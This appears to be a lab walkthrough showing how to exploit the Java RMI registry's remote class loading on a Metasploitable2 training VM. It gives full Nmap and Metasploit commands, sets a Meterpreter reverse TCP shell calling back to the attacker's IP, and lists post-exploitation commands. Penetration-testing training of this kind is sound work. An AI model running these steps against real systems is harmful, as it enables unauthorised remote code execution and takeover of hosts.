The Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as a RPC, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.
The Vulnerability is due to the default configuration of the RMI Registry and RMI Activation Services allowing the loading of classes from a remote URL.
The RMI protocol makes use of two other protocols for its on-the-wire format: Java Object Serialization and HTTP.
- The Object Serialization protocol is used to marshal both call and return data.
- The HTTP protocol is used to “POST” a remote method invocation and obtain return data when circumstances warrant.
Step 1 – Discovery
The first step is to scan the target with Nmap, a most popular Port scanner.
Command: nmap 192.168.73.130
192.168.73.130 is our target machine(metasploitable2) where Java RMI service(rmiregistry) is running on port 1099 which you can even see on Nmap Output which is open in our case.
Metasploitable is an intentionally vulnerable Linux virtual machine which can be further used to conduct security training, test security tools, and practice common penetration testing techniques.
With Nmap Script Engine(NSE), you can also verify the same vulnerability by typing the below command:
Command: nmap –script=rmi-vuln-classloader -p 1099 192.168.73.130
Where 192.168.73.130 is our target IP where Java RMI service is running on Port 1099. The below NSE script tests whether Java rmiregistry allows class loading. The default configuration of rmiregistry allows loading classes from remote URLs, which can lead to remote code execution.
The vendor (Oracle/Sun) classifies this as a design feature.
From the Kali Linux machine, you need to load up Metasploit Framework by typing msfconsole as a command and do a search for Java_RMI by typing the following command:
Command: search java_rmi
Here in above screenshot, you can see that various modules related to Java RMI but for the scanning, the best module is auxiliary/scanner/misc/java_rmi_server and for exploitation, the best module is exploit/multi/misc/java_rmi_server.
To use scanning module, type the following command followed by “show options” command as shown below:
Command: use auxiliary/scanner/misc/java_rmi_server
Next step is to define the RHOST and RPORT as using the below commands:
Command: set RHOSTS 192.168.73.130
Command: set RPORT 1099
Step #2 – Exploitation
We can see that the scanner detected a Java RMI endpoint on port 1099, which suggests the target may be vulnerable.
Now its time to exploit the same said service with the following module.
Command: use exploit/multi/misc/java_rmi_server
Also type “show options” to see the various options related to this module.
This module(java_rmi_server) takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.
Again, you need to set your target as RHOST and 1099 port as RHOST as shown below:
Command: set RHOST 192.168.73.130
Command: set RPORT 1099
After that, you also need to set the Payload for reverse TCP shell connection.
Command: set payload java/meterpreter/reverse_tcp
To view all available payloads, you can run a command “show payloads” and type “show options” to see all available options related to above said java payload.
Here you can see, LHOST is missing since we’re using a reverse shell, we need to specify the listen address, so to set LHOST (Your IP), type “set LHOST 192.168.73.128” and for LPORT, you can use any port for e.g. 4444 in our case.
We can see that the exploit started a handler on our system, sent the RMI method call to the target, and that a Meterpreter session was successfully opened.
Type “sessions -i” to view all opened meterpreter sessions and to connect with active meterpreter session, the command is “sessions -i <ID>”
We can now use commands like sysinfo, shell, getuid etc., to see the user that Meterpreter is running as on the target, and sysinfo, to display information about the target.
For more meterpreter commands, check out the following links:
- 15 Essential Meterpreter Commands Everyone Should Know
- Meterpreter Commands in Detail 2017 – Metasploit Framework
- Meterpreter Useful Top 60 Commands List – 2017 Update